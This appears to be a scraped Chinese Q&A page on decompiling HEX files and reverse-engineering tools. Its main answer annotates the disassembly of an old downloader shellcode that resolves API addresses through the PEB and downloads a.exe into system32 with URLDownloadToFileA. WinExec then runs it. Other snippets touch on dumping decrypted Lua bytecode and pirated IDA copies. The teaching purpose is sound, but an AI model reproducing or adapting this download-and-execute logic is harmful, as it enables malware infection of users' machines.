什么软件可以反编译HEX文件

作者&投稿:郯昆 (若有异议请与网页底部的电邮联系)
如何反编译hex文件~

  直接使用51反汇编软件或仿真,就可以实现;
  Hex文件其实是机器指令码,其中包括操作码,操作数,以及地址等等内容,而的汇编语言指令代表的就是这些机器码,汇编就是将汇编语言编译成机器码的过程,反汇编就是将机器码变成指令的过程。
  比如,C语言的编译先译成汇编再译成机器码,反汇编则反之。

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。


2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD75021 5A pop edx ; 函数返回的地址保存到edx中4AD75022 64:A1 30000000 mov eax, dword ptr fs:[30] ; 取peb4AD75028 8B40 0C mov eax, dword ptr [eax+C] ; peb_link4AD7502B 8B70 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi4AD7502E AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel32.dll的地址4AD7502F 8B40 08 mov eax, dword ptr [eax+8] ; eax=kernel32.dll的地址4AD75032 8BD8 mov ebx, eax ; ebx=kernel32.dll的基址4AD75034 8B73 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移4AD75037 8B741E 78 mov esi, dword ptr [esi+ebx+78] ; esi为kernel32.dll导出表的偏移4AD7503B 03F3 add esi, ebx ; esi = kernel32.dll导出表的虚拟地址4AD7503D 8B7E 20 mov edi, dword ptr [esi+20] ; edi=ent的偏移地址4AD75040 03FB add edi, ebx ; edi = ent的虚拟地址4AD75042 8B4E 14 mov ecx, dword ptr [esi+14] ; ecx = kernel32.dll导出地址的个数4AD75045 33ED xor ebp, ebp ; ebp=04AD75047 56 push esi ; 保存导出表虚拟地址4AD75048 57 push edi ; 保存ent虚拟地址4AD75049 51 push ecx ; 保存计数4AD7504A 8B3F mov edi, dword ptr [edi]4AD7504C 03FB add edi, ebx ; 定位ent中的函数名4AD7504E 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据4AD75050 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数4AD75052 59 pop ecx ; 设置循环次数为 0xe4AD75053 F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress4AD75055 74 08 je short 4AD7505F ; 如果ENT中的函数名为GetProcAddress跳走4AD75057 59 pop ecx ; 不相等则将导出地址数出栈4AD75058 5F pop edi ; ent虚拟地址出栈4AD75059 83C7 04 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节4AD7505C 45 inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数4AD7505D ^ E2 E9 loopd short 4AD75048 ; 循环查询4AD7505F 59 pop ecx4AD75060 5F pop edi4AD75061 5E pop esi4AD75062 8BCD mov ecx, ebp ; 计数保存于ecx4AD75064 8B46 24 mov eax, dword ptr [esi+24] ; esi+0x24 Ordinal序号表偏移地址4AD75067 03C3 add eax, ebx ; ordinal序号表的虚拟地址4AD75069 D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍4AD7506B 03C1 add eax, ecx4AD7506D 33C9 xor ecx, ecx ; ecx=04AD7506F 66:8B08 mov cx, word ptr [eax] ; 保存取出的ordinal序号4AD75072 8B46 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel32.dll的EAT的偏移地址4AD75075 > 03C3 add eax, ebx ; eax = kernel32.dll的eat虚拟地址4AD75077 C1E1 02 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值4AD7507A 03C1 add eax, ecx4AD7507C 8B00 mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA4AD7507E 03C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址4AD75080 8BFA mov edi, edx ; GetProcAddress字符到edi4AD75082 8BF7 mov esi, edi ; esi保存GetProcAddress地址4AD75084 83C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址4AD75087 8BD0 mov edx, eax ; edx为GetProcAddress的地址4AD75089 6A 04 push 44AD7508B 59 pop ecx ; ecx=4有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508C E8 50000000 call 4AD750E1 ; 设置IAT 得到4个函数的地址4AD75091 83C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能4AD75094 52 push edx4AD75095 56 push esi ; urlmon4AD75096 FF57 FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll4AD75099 5A pop edx ; edx = GetProcAddress的地址4AD7509A 8BD8 mov ebx, eax4AD7509C 6A 01 push 14AD7509E 59 pop ecx4AD7509F E8 3D000000 call 4AD750E1 ; 再次设置 IAT 得到URLDownLoadToFileA4AD750A4 83C6 13 add esi, 13 ; esi指向URLDownLoadToFileA的末地址4AD750A7 56 push esi4AD750A8 46 inc esi4AD750A9 803E 80 cmp byte ptr [esi], 80 ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束4AD750AC ^ 75 FA jnz short 4AD750A8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x804AD750AE 8036 80 xor byte ptr [esi], 804AD750B1 5E pop esi4AD750B2 83EC 20 sub esp, 20 ; 开辟 32 byte栈空间4AD750B5 > 8BDC mov ebx, esp ; ebx为栈区的指针4AD750B7 6A 20 push 204AD750B9 53 push ebx4AD750BA FF57 EC call dword ptr [edi-14] ; 调用GetSystemDirectoryA得到系统目录4AD750BD C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C ; ebx+0x13 系统路径占 0x13个字节4AD750C4 C74403 04 78650000 mov dword ptr [ebx+eax+4], 6578 ; 拼接下载后的文件路径%systemroot%\system32\a.exe4AD750CC 33C0 xor eax, eax4AD750CE 50 push eax4AD750CF 50 push eax4AD750D0 53 push ebx4AD750D1 56 push esi4AD750D2 50 push eax4AD750D3 > FF57 FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe4AD750D6 8BDC mov ebx, esp4AD750D8 50 push eax4AD750D9 53 push ebx4AD750DA FF57 F0 call dword ptr [edi-10] ; WinExec执行代码4AD750DD 50 push eax4AD750DE FF57 F4 call dword ptr [edi-C] ; ExitThread退出线程接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

HEX是机器码文件,可以从芯片中读出来。

反汇编工具“IDA”
IDA Pro 是一个世界顶级的交互式反汇编工具,它的使用者囊括了软件安全专家,军事工业,国家安全信息部门,逆向工程学者,黑客。从功能上它大大胜过了w32dasm。近来它的盗版已经在网上传播开了,你可以很轻松得到它。 IDA PRO 简称IDA ,英文:Interactive Disassembler的缩写。它是由HEX RAY SA 公司开发的,一家多年以来从事二进制代码反编译C的软件安全公司,其公司的旗舰产品就是著名的Hex-Rays.Decompiler(是IDA PRO的插件)。 IDA有两种可用版本。标准版(Standard)支持二十多种处理器。高级版(Advanced)支持50多种处理器。你可以访问the supported processor list page查看细节。在这里可以看到关于申请表格和许可证的常见问题的答案。IDA不存在任何注册机、注册码或破解版,除了测试版和一个4.9的免费版外,网络上能下载的都是包含用户许可证的正版,因为所有的安装包都是OEM出来的,所以IDA官网不提供软件下载,并且软件也没有注册的选项(完全可以正常使用,当然这也是一种盗版或侵权的行为,对此IDA公司会采取严厉打击措施); 当你运行IDA Pro时,你所最先注意到的是它的界面比w32dasm更加专业,这里比w32dasm有更多的选项或更先进的地方。它的优点是可以更好的反汇编和更有深层分析。而缺点是使用IDA更困难。

HEX不是16H么,你要反编译???没有吧

没有

ida 试一下


lua 怎么反编译
define LUA_SIGNATURE "\\033Lua" 033时八进制 = 0x1b ,很多那些反编译工具判断这四个字节的值,来判断是否能反编译,很多公司都会偷偷的去掉或者用其他的值来替换,以迷惑菜鸟。呵呵 52 第五个字节,表示的是,当前lua 的目标版本,这里指的是5.2 版本。感觉编辑的好痛苦,我还是直接贴我...

程序脱壳是什么意思?
1.保护程序不被非法修改和反编译。 2.对程序专门进行压缩,以减小文件大小,方便传播和储存。 壳和压缩软件的压缩的区别是 压缩软件只能够压缩程序 而经过壳压缩后的exe、com和dll等程序文件可以跟正常的程序一样运行 下面来介绍一个检测壳的软件 PEID v0.92 这个软件可以检测出 450种壳 新版中增加病毒扫描功能,是...

什么是软件
目前常用的高级语言有VB、C++、JAVA等,它们各有特点,分别适用于编写某一类型的程序,它们都有各自的编译软件。 另外绿色软件是什么也介绍给你 绿色软件的定义和分类 安装完操作系统后,我们一般需要安装一些常用的软件,但是随着我们常用软件的增多,这个安装过程显得越来越令人厌烦:运行setup,然后是选择目标路径,不断的...

关于电子书(exe)图片导出
(不能选单文件网页)。找到文件夹,里面有一个hmtl文件和一个文件夹,资源就在里面了,之后给文件夹改名 ,再删除hmtl文件就行了。我怎么文不对题了,“对于flash制作的exe电子书可以用quickflash软件来反编译,提取其中的资源。”弄个“quickflash”自己提取,地址还用我给你么,百度随便搜个 ...

给c语言初学者的良心建议
性能分析工具可以帮助程序员找到代码的瓶颈和性能问题,优化程序性能。除此之外,还有诸如代码静态分析工具、内存泄漏检测工具、反编译工具等等,都是程序员日常开发中可能用到的工具。因此,掌握这些工具的使用方法,对程序员来说是非常重要的。 第三点:掌握正确的学习顺序。 可以先从C语言的基础开始学习,包括变量和基本...

python的程序可以编译成二进制可执行文件么
pyo是优化编译后的程序 python -O 源文件即可将源程序编译为pyo文件 什么是pyd文件 pyd是python的动态链接库。为什么需要pyc文件 这个需求太明显了,因为py文件是可以直接看到源码的,如果你是开发商业软件的话,不可能把源码也泄漏出去吧?所以就需要编译为pyc后,再发布出去。当然,pyc文件也是可以反编...

lua 怎么反编译
lua\/luac--加密\/打包-->数据文件 数据文件--解包\/解密-->lua\/luac-->lua虚拟机 1. 跟踪,脱壳,解包,解密,获得 luac 追 luaL_loadbuffer luaL_loadfile lua_load 应该可以找到 解密函数。hook 这3个函数,导出解密后的数据,直接就是 luac 文件。如果没编译甚至是 lua源文件。hook luaV_...

当年的Fc《魂斗罗》《玛丽》是用什么工具做的。如何反编译。
如何反编译。 在网上看到恶搞的玛丽地图。特别难。以前用rpgmaker做过游戏。但是不知道FC游戏是在什么环境下用什么软件做的。很好奇,所以问一下。... 在网上看到恶搞的玛丽地图。特别难。以前用rpgmaker做过游戏。但是不知道FC游戏是在什么环境下用什么软件做的。很好奇,所以问一下。 展开  我来答 ...

如何拆分EXE文件
对于flash制作的exe电子书可以用quickflash软件来反编译,提取其中的资源。对于pdf文档则可以用BCL AUPDF Converter软件将其转换word文档,再将word文档另存为网页。“文件->另存为网页->网页”(不能选单文件网页)。找到文件夹,里面有一个hmtl文件和一个文件夹,资源就在里面了,之后给文件夹改名 ...

什么样的解flash软件?
有两个东西你可以用。首先是下载网页上的flash导出文件,即swf格式的,因为大部分情况你看到好的flash却不能下载,或者嵌在网页中,你不能下载,这样你就需要一个叫做FlashSavingPlugin的软件来下载它,给你个网址http:\/\/www.xdowns.com\/soft\/1\/70\/2006\/Soft_15350.html 下载。使用时会发现在网站的...

高阳县13833215393: 谁能告诉我用什么软件可以把机器码反编译成汇编语言? -
敏张梅花: 有一个软件是专门做这个的 把机器码反编译成汇编语言 的 软件 是 W32asm 这是个很通用的软件

高阳县13833215393: 谁给我介绍个好的反汇编工具或者16进制编辑软件 -
敏张梅花: 反编译最好的是exescape hex编辑选winhex

高阳县13833215393: 怎么样把hex转化成C语言形式? -
敏张梅花: 有两种方法: 1、用相应的IDE(例如:keil)创建一个工程,然后将该C语言文件中的代码复制到工程中的目录下.然后使用keil 对该工程进行编译.这样就可以得到hex文件. 2、使用相应的编译器,一步一步的编译. 不推荐第二种方法因为,单独使用编译器编译需要很多麻烦的步骤,还有可能会出错.直接使用IDE会更加方便省去很多麻烦的步骤.

高阳县13833215393: 单片机汇编语言用什么软件可以编译生成HEX文件 -
敏张梅花: keil 、wave 还有 proteus 都可以编译生成HEX .如果只是51汇编,其中proteus最为好用,它集编辑、编译、调试和仿真一条龙.如果不做实物的话,用这软件很不错的.

高阳县13833215393: C32Asm是怎么一款软件啊
敏张梅花:百度百科:C32asm 是一款非常不错的国产静态反编译工具!C32Asm现具有如下功能:快速静态反编译PE格式文件(Exe、Dll等)提供Hex文件编辑功能,功能强大提供内存Dump、内存编辑、PE文件Dump、PE内存ImageSize修正等多种实用功能提供内存反汇编功能,提供汇编语句直接修改功能,免去OPCode的直接操作的繁琐提供反编译语句彩色语法功能,方便阅读分析,能方便自定义语法色彩提供输入表、输出表、参考字符、跳转、调用、PE文件分析结果等显示提供方便的跳转、调用目标地址的代码显示提供汇编语句逐字节分析功能,有助于分析花指令等干扰代码

高阳县13833215393: 能不能把KEIL C的HEX文件还原成可以看到的程序 -
敏张梅花: 自己上网搜索“反汇编”.反编译成高级语言源程序,一般很难,需要反向者具有丰富的经验;但如果反向者经验丰富的话,看汇编足以摸清程序流程和细节处理,根本不需要反向成高级语言了.当然某些时候闲的无聊也可以这么玩玩.

高阳县13833215393: PIC单片机,我有机器码,用什么软件能变成汇编??
敏张梅花: MPLAB应该就可以. 所谓的机器码应该就是二进制文件吧?MPLAB IDE 可以进行反汇编(相信它也是最准确最全的PIC反编译工具).具体步骤如下: 1.启动MPLAB IDE 执行Configure菜单下的Select Device选择好芯片. 2. File菜单下Import导...

高阳县13833215393: hex文件怎样变成c程序吗??用什么软件可以实现呢???? -
敏张梅花: 这个不容易,编译器编译后都是机器码,怎么说呢, Hex文件其实是机器指令码,其中包括操作码,操作数,以及地址等等内容,而我们的汇编语言指令代表的就是这些机器码,汇编就是将汇编语言编译成机器码的过程,反汇编就是将机器码变成指令的过程.C语言的编译先译成汇编再译成机器码,反汇编则反之,

高阳县13833215393: exe文件反编译工具 -
敏张梅花: C32asm 可反编译成汇编文件http://www.25it.net/SoftView.Asp?SoftID=227 C32asm 是一款非常不错的国产静态反编译工具!C32Asm现具有如下功能:快速静态反编译PE格式文件(Exe、Dll等) 提供Hex文件编辑功能,功能强大 提供内存...

高阳县13833215393: 反编译软件有哪些? -
敏张梅花: Corso 5.0 2003-6-14 16:40:46 ★★★ 198 ·一个针对fox的反编译东东,效果怎么样没有测试过.有兴趣的可以看看!... 软件类别:反编译软件 运行环境:Win9x/NT/2000/XP/ 授权方式:免费版 DeDe 3.20.04 2003-5-25 11:40:16 ★★★ 834 ·这个不用多说...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网